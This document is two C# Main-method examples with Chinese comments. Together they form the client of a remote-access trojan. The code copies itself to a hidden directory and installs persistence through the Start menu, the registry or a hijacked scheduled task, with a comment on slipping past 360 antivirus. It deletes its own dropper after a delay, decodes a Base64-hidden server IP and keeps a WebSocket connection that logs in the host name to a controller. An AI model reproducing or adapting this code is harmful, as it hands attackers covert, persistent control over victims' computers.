static void Main(string[] args)
        {
            string RootPath    = @"C:\WSS\";     //要释放的路径
            string ServiceName = "WSService";    //要生成的文件名
            int    startupCode = 2;              //0:开始菜单启动 1:注册表启动 2:计划任务启动 [会被360拦截导致自启动失效 不过仍然会上线]
            string ip          = "MTI3LjAuMC4x"; //BASE64加密服务端IP

            if (!Directory.Exists(RootPath))     //如果不存在就创建
            {
                Directory.CreateDirectory(RootPath);
            }

            if (!IsProcessExist(ServiceName))
            {
                string path            = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
                string destinationPath = RootPath + ServiceName + ".exe";
                //如果不存在就生成
                if (!System.IO.File.Exists(destinationPath))
                {
                    //拷贝到特定目录
                    FileInfo fi = new FileInfo(path);
                    if (!fi.Exists)
                    {
                        fi.CreateText();
                    }
                    fi.CopyTo(destinationPath);
                }
                //记录生成器路径
                FileStream   fs1 = new FileStream(RootPath + "path.ini", FileMode.Create, FileAccess.Write);
                StreamWriter sw1 = new StreamWriter(fs1);
                sw1.WriteLine(path);
                sw1.Close();
                fs1.Close();
                //运行目标
                MyWindowsCmd myWindowsCmd = new MyWindowsCmd();
                myWindowsCmd.StartCmd();
                myWindowsCmd.RunCmd(destinationPath);
                myWindowsCmd.WaitForExit();
                myWindowsCmd.StopCmd();
                //设定目录启动项
                StartupWay startupWay = new StartupWay();
                startupWay.doStartUpWay(startupCode, RootPath, ServiceName);
            }
            else
            {
                //删除生成器
                bool fistDel = false;
                if (File.Exists(RootPath + "path.ini"))
                {
                    fistDel = true;
                }
                if (fistDel)
                {
                    string       path         = File.ReadAllText(RootPath + "path.ini", Encoding.Default);
                    string       delCreate    = "del " + path;
                    string       delIni       = "del " + RootPath + "path.ini";
                    MyWindowsCmd myWindowsCmd = new MyWindowsCmd();
                    myWindowsCmd.StartCmd();
                    myWindowsCmd.RunCmd("ping -n 5 127.0.0.1>nul & " + delIni + " & " + delCreate);//延时五秒执行
                    myWindowsCmd.WaitForExit();
                    myWindowsCmd.StopCmd();
                }

                Base64Tools base64Tools = new Base64Tools();
                string      url         = "ws://" + base64Tools.base64decode(ip) + ":7272";

                WebSocketService wss = new BuissnesServiceImpl();
                WebSocketBase    wb  = new WebSocketBase(url, wss);
                wb.start();

                wb.send("{\"type\":\"login\",\"client_name\":\"" + System.Net.Dns.GetHostName() + "-" + "\"}");

                //发生断开重连时,需要重新订阅
                while (true)
                {
                    if (wb.isReconnect())
                    {
                        wb.send("{\"type\":\"login\",\"client_name\":\"" + System.Net.Dns.GetHostName() + "-" + "\"}");
                    }
                    Thread.Sleep(1000);
                }
            }
        }
示例#2
0
        static void Main(string[] args)
        {
            if (!Directory.Exists(RootPath))//如果不存在且不为劫持启动就创建
            {
                Directory.CreateDirectory(RootPath);
            }

            if (!IsProcessExist(ServiceName))
            {
                pathCreate = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;

                //记录生成器路径
                FileStream   fs1 = new FileStream(RootPath + "path.ini", FileMode.Create, FileAccess.Write);
                StreamWriter sw1 = new StreamWriter(fs1);
                sw1.WriteLine(pathCreate);
                sw1.Close();
                fs1.Close();

                if (startupCode == 3)
                {
                    //设定启动项
                    StartupWay startupWay = new StartupWay();
                    startupWay.doStartUpWay(startupCode, pathCreate, ServiceName, changeName);//传送生成器所在位置
                }
                else
                {
                    //如果不存在就生成
                    if (!System.IO.File.Exists(destinationPath))
                    {
                        //拷贝到特定目录
                        FileInfo fi = new FileInfo(pathCreate);
                        if (!fi.Exists)
                        {
                            fi.CreateText();
                        }
                        fi.CopyTo(destinationPath);
                    }
                    //运行目标
                    MyWindowsCmd myWindowsCmd = new MyWindowsCmd();
                    myWindowsCmd.StartCmd();
                    myWindowsCmd.RunCmd(destinationPath);
                    myWindowsCmd.WaitForExit();
                    myWindowsCmd.StopCmd();
                    //设定启动项
                    StartupWay startupWay = new StartupWay();
                    startupWay.doStartUpWay(startupCode, RootPath, ServiceName, changeName);
                }
            }
            else
            {
                //删除生成器
                bool fistDel = false;
                if (File.Exists(RootPath + "path.ini"))
                {
                    fistDel = true;
                }
                if (fistDel)
                {
                    string path      = File.ReadAllText(RootPath + "path.ini", Encoding.Default);
                    string delCreate = "del " + path;
                    if (startupCode == 3)
                    {
                        delCreate += " & rmdir /s /q " + RootPath;
                    }
                    string       delIni       = "del " + RootPath + "path.ini";
                    MyWindowsCmd myWindowsCmd = new MyWindowsCmd();
                    myWindowsCmd.StartCmd();
                    myWindowsCmd.RunCmd("ping -n 5 127.0.0.1>nul & " + delIni + " & " + delCreate);//延时五秒执行
                    myWindowsCmd.WaitForExit();
                    myWindowsCmd.StopCmd();
                }
                if (startupCode == 3)
                {
                    string trueTaskExe = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName.Replace(".exe", "") + changeName + ".exe";
                    if (File.Exists(trueTaskExe))//真计划任务文件是否存在
                    {
                        //运行真文件
                        MyWindowsCmd myWindowsCmd = new MyWindowsCmd();
                        myWindowsCmd.StartCmd();
                        myWindowsCmd.RunCmd(trueTaskExe);
                        myWindowsCmd.WaitForExit();
                        myWindowsCmd.StopCmd();
                    }
                }
                Base64Tools base64Tools = new Base64Tools();
                string      url         = "ws://" + base64Tools.base64decode(ip) + ":7272";

                WebSocketService wss = new BuissnesServiceImpl();
                WebSocketBase    wb  = new WebSocketBase(url, wss);
                wb.start();

                wb.send("{\"type\":\"login\",\"client_name\":\"" + System.Net.Dns.GetHostName() + "-" + "\"}");

                //发生断开重连时,需要重新订阅
                while (true)
                {
                    if (wb.isReconnect())
                    {
                        wb.send("{\"type\":\"login\",\"client_name\":\"" + System.Net.Dns.GetHostName() + "-" + "\"}");
                    }
                    Thread.Sleep(1000);
                }
            }
        }